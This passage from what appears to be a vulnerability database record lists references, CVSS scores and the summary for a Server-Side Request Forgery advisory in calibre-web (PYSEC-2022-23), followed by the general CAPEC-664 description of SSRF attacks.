"url": "https://github.com/janeczku/calibre-web/commit/35f6f4c727c887f8f3607fe3233dbc1980d15020"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/commit/3b216bfa07ec7992eff03e55d61732af6df9bb92"
},
{
"type": "PACKAGE",
"url": "https://github.com/janeczku/calibre-web"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/releases/tag/0.6.16"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/calibreweb/PYSEC-2022-23.yaml"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/499688c4-6ac4-4047-a868-7922c3eab369"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Server-Side Request Forgery in calibreweb"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.